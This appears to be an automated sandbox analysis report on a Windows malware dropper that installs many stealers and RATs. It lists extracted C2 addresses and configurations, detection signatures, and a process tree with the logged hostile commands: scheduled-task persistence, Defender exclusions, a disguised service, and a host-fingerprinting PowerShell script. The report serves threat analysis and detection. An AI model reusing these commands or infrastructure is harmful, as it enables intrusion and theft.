animateclipper | 65ba3988d38f83b9ee1f31cafa5bd37dc6b72279f5618aac94d71a904efa0cac

max time kernel
299s
max time network
307s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
29/07/2026, 04:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2to1ep.exe
Size 13.1MB
Sample260729-e8nb1sgn9y
SHA256 65ba3988d38f83b9ee1f31cafa5bd37dc6b72279f5618aac94d71a904efa0cac
MD5 7d1a85e807ff9b48edc2e08a01b35e07
SHA1 9d772258c620629c299bbad24c968b1cc476a6a1
SHA512 8553ca5d63c2667da0f1044a1c6d00713a5f7d826cd5e5e17cdcf1a2eed4ece844b7d16a06933c44273181d98d330eb944f8b72d835bdd31d75be7b3b75edc43
SSDEEP 196608:APPuglgRWUeR24iMqWNo2mtKVzurHm5POMP/XRL234tSoz2/Tsj+51nOxd:EPuhRW1R2JtWNhqKVzuC5zXA34tSQ
TLSH
T1D7D63338236406E7F4F6D734E940C4B6D6ABAD161B57C28383F8D56B2D232C16A373A5
MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family

quasar

Version

1.3.0.0

Botnet

Office04

91.199.133.59:1604

Mutex

QSR_MUTEX_v5mziHugTGlbhZe6Nt

Attributes

encryption_key
a8O1YbhnwrIeq1tKWbO5
install_name
Client.exe
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
log_directory
Logs
reconnect_delay
3000
startup_key
Quasar Client Startup
subdirectory
SubDir

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

94.158.245.53:9992

Mutex

4abbc77f-27e2-4983-8fe9-6fafbfb7627b

Attributes

encryption_key
F5CCD6560C6A9C857BE240A8EE0DF9CF88BC3B2B
install_name
Client.exe
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
log_directory
Logs
reconnect_delay
3000
startup_key
Quasar Client Startup
subdirectory
SubDir

Extracted

Family

remus_stealer

http://carogra.biz:4219
http://myrtler.biz:9549
http://angect.xyz:7838

Extracted

Family

ratonrat

Version

Professional

16.170.169.119:8080

Mutex

GPMEaht28D0drQKjxak6e0p

Attributes

assist
false
box
false
box_icon
Error
box_msg
I'm the message box description
box_title
Hello World
defender
false
delay
0
hide_file
false
open_website
false
process_critical
false
raw
silly21
reconnect
3
startup
true
tag
Infected
uac
false
vm
false
website
https://t.me/example

Extracted

Family

vidar

Version

Botnet

68c4720f3badd68a0b6711cb23e7d6e6

https://dum.tb88soul.top
https://telegram.me/r7t3at
https://steamcommunity.com/profiles/76561198674661449

Attributes

user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/147.0.0.0

Extracted

Family

destiny_stealer

86.54.42.197

Attributes

port
8888

Signatures

Family: AnimateClipper
AnimateClipper is a Windows crypto clipper that hijacks the clipboard to swap wallet addresses.
clipper stealer animateclipper
Family: Destiny Stealer
DestinyStealer is a stealer written in C#.
stealer destiny_stealer
Family: Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Family: RatonRAT
RatonRAT is an information stealer written in C#.
stealer ratonrat
Family: Remus
Remus is a stealer written in C++.
stealer remus_stealer
Family: Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Family: salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
stealer salatstealer

Detect SalatStealer payload 5 IoCs

resource	yara_rule
behavioral2/memory/3328-432-0x00000000004D0000-0x000000000111F000-memory.dmp	family_salatstealer
behavioral2/memory/3328-817-0x00000000004D0000-0x000000000111F000-memory.dmp	family_salatstealer
behavioral2/memory/3328-1028-0x00000000004D0000-0x000000000111F000-memory.dmp	family_salatstealer
behavioral2/memory/3328-1056-0x00000000004D0000-0x000000000111F000-memory.dmp	family_salatstealer
behavioral2/memory/3328-1248-0x00000000004D0000-0x000000000111F000-memory.dmp	family_salatstealer

Detects AnimateClipper 2 IoCs

resource	yara_rule
behavioral2/memory/2936-337-0x00007FF6AD6F0000-0x00007FF6AD730000-memory.dmp	family_animateclipper
behavioral2/memory/7384-901-0x0000000140000000-0x0000000140040000-memory.dmp	family_animateclipper

Detects RatonRAT payload 1 IoCs

resource	yara_rule
behavioral2/memory/7100-1078-0x0000000005EC0000-0x0000000006136000-memory.dmp	family_ratonrat

Quasar payload 3 IoCs

resource	yara_rule
behavioral2/memory/968-231-0x0000000000540000-0x000000000059E000-memory.dmp	family_quasar
behavioral2/files/0x000c00000001c5db-230.dat	family_quasar
behavioral2/memory/1848-767-0x0000000000440000-0x0000000000764000-memory.dmp	family_quasar

Command and Scripting Interpreter: PowerShell 1 TTPs 14 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
7868	powershell.exe
12264	powershell.exe
9748	powershell.exe
7752	powershell.exe
6480	powershell.exe
10508	powershell.exe
6568	powershell.exe
8312	powershell.exe
9748	powershell.exe
8188	powershell.exe
10976	powershell.exe
6064	powershell.exe
12096	powershell.exe
13508	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 2 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
12096	powershell.exe
13508	powershell.exe

Downloads MZ/PE file 3 IoCs

flow	pid	Process
11	3488	2to1ep.exe
14	3488	2to1ep.exe
15	3488	2to1ep.exe

Signed with revoked ConnectWise certificate 5 IoCs

Binary is signed using a ConnectWise certificate revoked for key compromise.

revoked_codesign

resource	yara_rule
behavioral2/memory/5124-272-0x00000000058B0000-0x0000000005BA2000-memory.dmp	revoked_cert_connectwise
behavioral2/files/0x000c00000001c7ea-2009.dat	revoked_cert_connectwise
behavioral2/files/0x000c00000001c7e2-2272.dat	revoked_cert_connectwise
behavioral2/files/0x000d00000001c7e1-2270.dat	revoked_cert_connectwise
behavioral2/files/0x000c00000001c7e7-2294.dat	revoked_cert_connectwise

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Loads dropped DLL 21 IoCs

pid	Process
3488	2to1ep.exe
3488	2to1ep.exe
3488	2to1ep.exe
3488	2to1ep.exe
3488	2to1ep.exe
3488	2to1ep.exe
3488	2to1ep.exe
3488	2to1ep.exe
3488	2to1ep.exe
3488	2to1ep.exe
3488	2to1ep.exe
3488	2to1ep.exe
3488	2to1ep.exe
3488	2to1ep.exe
3488	2to1ep.exe
3488	2to1ep.exe
3488	2to1ep.exe
3488	2to1ep.exe
3488	2to1ep.exe
3488	2to1ep.exe
3488	2to1ep.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
14112	icacls.exe
10568	icacls.exe

Contacts third-party web service commonly abused for C2 1 TTPs 31 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
435	raw.githubusercontent.com
785	pastebin.com
812	pastebin.com
156	pastebin.com
470	raw.githubusercontent.com
761	raw.githubusercontent.com
762	raw.githubusercontent.com
4	raw.githubusercontent.com
437	pastebin.com
769	raw.githubusercontent.com
770	raw.githubusercontent.com
826	raw.githubusercontent.com
363	raw.githubusercontent.com
710	raw.githubusercontent.com
764	raw.githubusercontent.com
767	raw.githubusercontent.com
788	raw.githubusercontent.com
401	raw.githubusercontent.com
787	raw.githubusercontent.com
824	raw.githubusercontent.com
403	raw.githubusercontent.com
447	raw.githubusercontent.com
461	raw.githubusercontent.com
464	raw.githubusercontent.com
653	raw.githubusercontent.com
833	raw.githubusercontent.com
238	raw.githubusercontent.com
427	raw.githubusercontent.com
446	raw.githubusercontent.com
439	raw.githubusercontent.com
706	raw.githubusercontent.com

Looks up external IP address via web service 1 TTPs 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
90	api.ipify.org
156	ip-api.com
421	api.ipify.org
592	ip-api.com

Enumerates processes with tasklist 1 TTPs 5 IoCs

discovery

Process Discovery

T1057

pid	Process
12032	tasklist.exe
13056	tasklist.exe
12740	tasklist.exe
7520	tasklist.exe
10632	tasklist.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 9 IoCs

execution

Visual Basic

T1059.005

pid	Process
6392	wscript.exe
6184	WScript.exe
8216	wscript.exe
1192	wscript.exe
10748	wscript.exe
6236	wscript.exe
9928	wscript.exe
14536	wscript.exe
8924	wscript.exe

UPX packed file 7 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3328-356-0x00000000004D0000-0x000000000111F000-memory.dmp	upx
behavioral2/memory/3328-432-0x00000000004D0000-0x000000000111F000-memory.dmp	upx
behavioral2/memory/3328-817-0x00000000004D0000-0x000000000111F000-memory.dmp	upx
behavioral2/memory/3328-1028-0x00000000004D0000-0x000000000111F000-memory.dmp	upx
behavioral2/memory/3328-1056-0x00000000004D0000-0x000000000111F000-memory.dmp	upx
behavioral2/memory/3328-1248-0x00000000004D0000-0x000000000111F000-memory.dmp	upx
behavioral2/files/0x000800000001d332-8331.dat	upx

Launches sc.exe 3 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
444	sc.exe
2232	sc.exe
1704	sc.exe

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral2/files/0x000800000001d331-8326.dat	pyinstaller

Event Triggered Execution: Installer Packages 2 TTPs 15 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
7712	msiexec.exe
10672	msiexec.exe
5060	msiexec.exe
3820	msiexec.exe
12092	msiexec.exe
6352	msiexec.exe
10564	msiexec.exe
4156	msiexec.exe
8200	msiexec.exe
11516	msiexec.exe
1384	msiexec.exe
6512	msiexec.exe
6664	msiexec.exe
14520	msiexec.exe
10640	msiexec.exe

Executes a command shell one-liner 1 TTPs 20 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2600	cmd.exe
8316	cmd.exe
13104	cmd.exe
13356	cmd.exe
7684	cmd.exe
14444	cmd.exe
5044	cmd.exe
14784	cmd.exe
13268	cmd.exe
5876	cmd.exe
3456	cmd.exe
11552	cmd.exe
10956	cmd.exe
14760	cmd.exe
13788	cmd.exe
4600	cmd.exe
4128	cmd.exe
9540	cmd.exe
12144	cmd.exe
4660	cmd.exe

System Time Discovery 1 TTPs 5 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
10568	msedge.exe
1456	chrome.exe
9268	chrome.exe
8908	msedge.exe
8872	chrome.exe

Inno Setup is an open-source installation builder for Windows applications. 2 IoCs

Inno Setup installer

installer

resource	yara_rule
behavioral2/memory/2844-266-0x0000000000400000-0x0000000000428000-memory.dmp	innosetup
behavioral2/memory/2844-406-0x0000000000400000-0x0000000000428000-memory.dmp	innosetup

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
9708	timeout.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
14924	wmic.exe

Kills process with taskkill 2 IoCs

defense_evasion

pid	Process
12244	taskkill.exe
15616	taskkill.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5884	schtasks.exe
6600	schtasks.exe
7900	schtasks.exe
4520	schtasks.exe
2396	schtasks.exe
9212	schtasks.exe
9568	schtasks.exe
12752	schtasks.exe
13700	schtasks.exe
8832	schtasks.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5532	Taskmgr.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 5896 wrote to memory of 3488	5896	2to1ep.exe	91
PID 3488 wrote to memory of 4660	3488	2to1ep.exe	92
PID 4660 wrote to memory of 4520	4660	cmd.exe	93
PID 3488 wrote to memory of 5876	3488	2to1ep.exe	94
PID 5876 wrote to memory of 5532	5876	cmd.exe	95

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2to1ep.exe
"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5896
- C:\Users\Admin\AppData\Local\Temp\2to1ep.exe
  "C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"
  2⤵
  - Downloads MZ/PE file
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:3488
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4660
  - - C:\Windows\system32\schtasks.exe
      schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4520
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C start c:\Windows\System32\Taskmgr.exe
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5876
  - - \??\c:\Windows\System32\Taskmgr.exe
      c:\Windows\System32\Taskmgr.exe
      4⤵
      Suspicious use of SetWindowsHookEx
      PID:5532
- - C:\Windows\SYSTEM32\mshta.exe
    mshta.exe givenmethebestthignswithbetterplacescomingfromthebest.hta
    3⤵
    PID:5512
- - C:\Users\Admin\AppData\Local\Temp\a\Rogerz7.exe
    Rogerz7.exe
    3⤵
    PID:2116
- - C:\Users\Admin\AppData\Local\Temp\a\client.exe
    client.exe
    3⤵
    PID:968
- - C:\Users\Admin\AppData\Local\Temp\a\file_8a7c2cae7ca4b114.exe
    file_8a7c2cae7ca4b114.exe
    3⤵
    PID:1136
- - C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.ClientSetup.exe
    ScreenConnect.ClientSetup.exe
    3⤵
    PID:5124
  - - C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\99fdd128f4ccabe7\ScreenConnect.ClientSetup.msi"
      4⤵
      PID:1724
- - C:\Users\Admin\AppData\Local\Temp\a\file_73ed34a7752ecb3a.exe
    file_73ed34a7752ecb3a.exe
    3⤵
    PID:2844
  - - C:\Users\Admin\AppData\Local\Temp\is-D01K5.tmp\file_73ed34a7752ecb3a.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-D01K5.tmp\file_73ed34a7752ecb3a.tmp" /SL5="$401FC,11357099,121344,C:\Users\Admin\AppData\Local\Temp\a\file_73ed34a7752ecb3a.exe"
      4⤵
      PID:4332
    - - C:\Users\Admin\AppData\Local\Temp\is-PVQOG.tmp\Da_L.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-PVQOG.tmp\Da_L.exe"
        5⤵
        
        PID:1636
      - C:\ProgramData\JAVAkubernetes_v4\Da_L.exe
        
        C:\ProgramData\JAVAkubernetes_v4\Da_L.exe
        6⤵
        
        PID:4360
- - C:\Windows\SYSTEM32\mshta.exe
    mshta.exe mm.hta
    3⤵
    PID:4844
- - C:\Users\Admin\AppData\Local\Temp\a\1.exe
    1.exe
    3⤵
    PID:3276
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe"
      4⤵
      PID:2936
- - C:\Users\Admin\AppData\Local\Temp\a\ChromeElevator.exe
    ChromeElevator.exe
    3⤵
    PID:1204
- - C:\Windows\SYSTEM32\mshta.exe
    mshta.exe scc.hta
    3⤵
    PID:5500
- - C:\Users\Admin\AppData\Local\Temp\a\Thor7.exe
    Thor7.exe
    3⤵
    PID:2508
- - C:\Users\Admin\AppData\Local\Temp\a\1207-1007.exe
    1207-1007.exe
    3⤵
    PID:764
- - C:\Users\Admin\AppData\Local\Temp\a\remcosraw.exe
    remcosraw.exe
    3⤵
    PID:4964
- - C:\Users\Admin\AppData\Local\Temp\a\715-16.exe
    715-16.exe
    3⤵
    PID:5056
- - C:\Users\Admin\AppData\Local\Temp\a\fresh.exe
    fresh.exe
    3⤵
    PID:1208
- - C:\Users\Admin\AppData\Local\Temp\a\Signori78.exe
    Signori78.exe
    3⤵
    PID:1128
- - C:\Users\Admin\AppData\Local\Temp\a\C567-89.exe
    C567-89.exe
    3⤵
    PID:4688
- - C:\Users\Admin\AppData\Local\Temp\a\wearebeack.exe
    wearebeack.exe
    3⤵
    PID:4748
- - C:\Users\Admin\AppData\Local\Temp\a\877901a58750.exe
    877901a58750.exe
    3⤵
    PID:3328
- - C:\Users\Admin\AppData\Local\Temp\a\raj101.exe
    raj101.exe
    3⤵
    PID:1836
- - C:\Users\Admin\AppData\Local\Temp\a\Chrome08.exe
    Chrome08.exe
    3⤵
    PID:5932
- - C:\Users\Admin\AppData\Local\Temp\a\file_3a1cc00092af29d0.exe
    file_3a1cc00092af29d0.exe
    3⤵
    PID:1720
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\a\test.vbs"
      4⤵
      Executes a VBScript file via the Windows Script Host.
      PID:6184
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn ondlrvess5556 /tr "wscript.exe 'C:\Users\Admin\AppData\Local\Temp\ondlrvesxx.vbs'" /sc minute /mo 25 /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6600
    - - C:\Windows\SysWOW64\wscript.exe
        
        "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\892440574.vbs"
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:8216
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\892440574.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8188
  - - C:\Windows\SysWOW64\wscript.exe
      C:\Windows\System32\wscript.exe //B "C:\Users\Admin\AppData\Local\Temp\a\test.vbs"
      4⤵
      Executes a VBScript file via the Windows Script Host.
      PID:6392
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn ondlrvess5556 /tr "wscript.exe 'C:\Users\Admin\AppData\Local\Temp\ondlrvesxx.vbs'" /sc minute /mo 25 /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5884
    - - C:\Windows\SysWOW64\wscript.exe
        
        "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\314133996.vbs"
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:1192
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\314133996.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10976
- - C:\Users\Admin\AppData\Local\Temp\a\00231.exe
    00231.exe
    3⤵
    PID:4640
- - C:\Users\Admin\AppData\Local\Temp\a\update.exe
    update.exe
    3⤵
    PID:1696
- - C:\Users\Admin\AppData\Local\Temp\a\db9c0fee.exe
    db9c0fee.exe
    3⤵
    PID:2256
- - C:\Users\Admin\AppData\Local\Temp\a\watchdog.exe
    watchdog.exe
    3⤵
    PID:5968
  - - C:\Users\Admin\AppData\Local\Temp\a\watchdog.exe
      watchdog.exe
      4⤵
      PID:3428
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        5⤵
        Executes a command shell one-liner
        
        PID:4128
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command " $WshShell = New-Object -ComObject WScript.Shell $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RemotePanelWatchdog.lnk') $Shortcut.TargetPath = 'C:\ProgramData\RemotePanel\watchdog.exe' $Shortcut.WorkingDirectory = 'C:\ProgramData\RemotePanel' $Shortcut.Save() "
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8312
    - - C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist.exe /FI "PID eq 4848" /FO CSV /NH
        5⤵
        Enumerates processes with tasklist
        
        PID:10632
    - - C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist.exe /FI "PID eq 4848" /FO CSV /NH
        5⤵
        Enumerates processes with tasklist
        
        PID:12032
    - - C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist.exe /FI "PID eq 4848" /FO CSV /NH
        5⤵
        Enumerates processes with tasklist
        
        PID:13056
    - - C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist.exe /FI "PID eq 4848" /FO CSV /NH
        5⤵
        Enumerates processes with tasklist
        
        PID:12740
    - - C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist.exe /FI "PID eq 4848" /FO CSV /NH
        5⤵
        Enumerates processes with tasklist
        
        PID:7520
- - C:\Users\Admin\AppData\Local\Temp\a\online.exe
    online.exe
    3⤵
    PID:2044
  - - C:\Users\Admin\AppData\Local\Temp\a\online.exe
      online.exe
      4⤵
      PID:4848
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        5⤵
        Executes a command shell one-liner
        
        PID:2600
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command " $ErrorActionPreference = 'SilentlyContinue' $os = Get-CimInstance Win32_OperatingSystem $cs = Get-CimInstance Win32_ComputerSystem $cpu = Get-CimInstance Win32_Processor | Select-Object -First 1 $bios = Get-CimInstance Win32_BIOS $board = Get-CimInstance Win32_BaseBoard $product = Get-CimInstance Win32_ComputerSystemProduct $publicIp = $null try { $publicIp = (Invoke-RestMethod -Uri 'https://api.ipify.org?format=text' -TimeoutSec 10).ToString().Trim() } catch { try { $publicIp = (Invoke-WebRequest -UseBasicParsing -Uri 'https://api.ipify.org' -TimeoutSec 10).Content.Trim() } catch {} } $disks = Get-CimInstance Win32_LogicalDisk -Filter \"DriveType=3\" | ForEach-Object { [PSCustomObject]@{ device = $_.DeviceID label = $_.VolumeName filesystem = $_.FileSystem size_bytes = [int64]$_.Size free_bytes = [int64]$_.FreeSpace } } $adapters = @() try { $adapters = Get-NetAdapter -Physical | ForEach-Object { $adapter = $_ $ipcfg = Get-NetIPConfiguration -InterfaceIndex $adapter.ifIndex [PSCustomObject]@{ name = $adapter.Name description = $adapter.InterfaceDescription mac = (($adapter.MacAddress -replace '-', ':').ToUpper()) status = [string]$adapter.Status ipv4 = @($ipcfg.IPv4Address | ForEach-Object { $_.IPAddress }) gateway = @($ipcfg.IPv4DefaultGateway | ForEach-Object { $_.NextHop }) dns = @($ipcfg.DNSServer.ServerAddresses) } } } catch { $adapters = Get-CimInstance Win32_NetworkAdapterConfiguration -Filter \"IPEnabled=True\" | ForEach-Object { [PSCustomObject]@{ name = $_.Description description = $_.Description mac = (($_.MACAddress -replace '-', ':').ToUpper()) status = 'unknown' ipv4 = @($_.IPAddress | Where-Object { $_ -match '^\d+\.' }) gateway = @($_.DefaultIPGateway) dns = @($_.DNSServerSearchOrder) } } } $roots = @( 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*', 'HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*', 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*' ) $programs = foreach ($root in $roots) { Get-ItemProperty $root | Where-Object { $_.DisplayName } | ForEach-Object { [PSCustomObject]@{ name = [string]$_.DisplayName version = [string]$_.DisplayVersion publisher = [string]$_.Publisher install_date = [string]$_.InstallDate } } } $programs = @($programs | Sort-Object name, version -Unique) $defender = $null try { $mp = Get-MpComputerStatus $defender = [PSCustomObject]@{ antivirus_enabled = [bool]$mp.AntivirusEnabled realtime_enabled = [bool]$mp.RealTimeProtectionEnabled signatures_updated_at = if ($mp.AntivirusSignatureLastUpdated) { $mp.AntivirusSignatureLastUpdated.ToString('o') } else { $null } } } catch {} $result = [PSCustomObject]@{ schema_version = 1 collected_at = (Get-Date).ToUniversalTime().ToString('o') hostname = $env:COMPUTERNAME username = [Environment]::UserName domain = $cs.Domain workgroup = $cs.Workgroup public_ip = $publicIp os = [PSCustomObject]@{ caption = $os.Caption version = $os.Version build = $os.BuildNumber architecture = $os.OSArchitecture installed_at = if ($os.InstallDate) { $os.InstallDate.ToUniversalTime().ToString('o') } else { $null } last_boot = if ($os.LastBootUpTime) { $os.LastBootUpTime.ToUniversalTime().ToString('o') } else { $null } } hardware = [PSCustomObject]@{ manufacturer = $cs.Manufacturer model = $cs.Model total_ram_bytes = [int64]$cs.TotalPhysicalMemory cpu = $cpu.Name cpu_cores = $cpu.NumberOfCores cpu_logical = $cpu.NumberOfLogicalProcessors bios_serial = $bios.SerialNumber bios_version = [string]$bios.SMBIOSBIOSVersion motherboard_manufacturer = $board.Manufacturer motherboard_product = $board.Product motherboard_serial = $board.SerialNumber motherboard_uuid = $product.UUID } disks = @($disks) network_adapters = @($adapters) programs = @($programs) security = [PSCustomObject]@{ defender = $defender } } $result | ConvertTo-Json -Depth 8 -Compress "
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9748
- - C:\Users\Admin\AppData\Local\Temp\a\svc.exe
    svc.exe
    3⤵
    PID:3980
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" create WinUpdateHelper binPath= "\"C:\ProgramData\Microsoft\Windows Update Helper\msvc.exe\"" start= auto DisplayName= "Windows Update Helper Service"
      4⤵
      Launches sc.exe
      PID:2232
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" description WinUpdateHelper "Manages Windows Update helper components"
      4⤵
      Launches sc.exe
      PID:444
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\UpdateService' -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7868
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" start WinUpdateHelper
      4⤵
      Launches sc.exe
      PID:1704
  - - C:\ProgramData\Microsoft\Windows Update Helper\msvc.exe
      "C:\ProgramData\Microsoft\Windows Update Helper\msvc.exe" --service
      4⤵
      PID:9368
- - C:\Users\Admin\AppData\Local\Temp\a\bot.exe
    bot.exe
    3⤵
    PID:6316
- - C:\Users\Admin\AppData\Local\Temp\a\bot_x64.exe
    bot_x64.exe
    3⤵
    PID:6332
- - C:\Users\Admin\AppData\Local\Temp\a\5fzscnissh1s.exe
    5fzscnissh1s.exe
    3⤵
    PID:6308
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --log-level=3 --headless=new
      4⤵
      PID:5108
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5108240785890 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5108240785890\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5108240785890 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x144,0x148,0x14c,0x120,0x150,0x7ff8164cc728,0x7ff8164cc734,0x7ff8164cc740
        5⤵
        
        PID:7600
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5108240785890" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1900,i,12811444043225235891,15256080678719715139,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=1896 /prefetch:2
        5⤵
        
        PID:8832
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
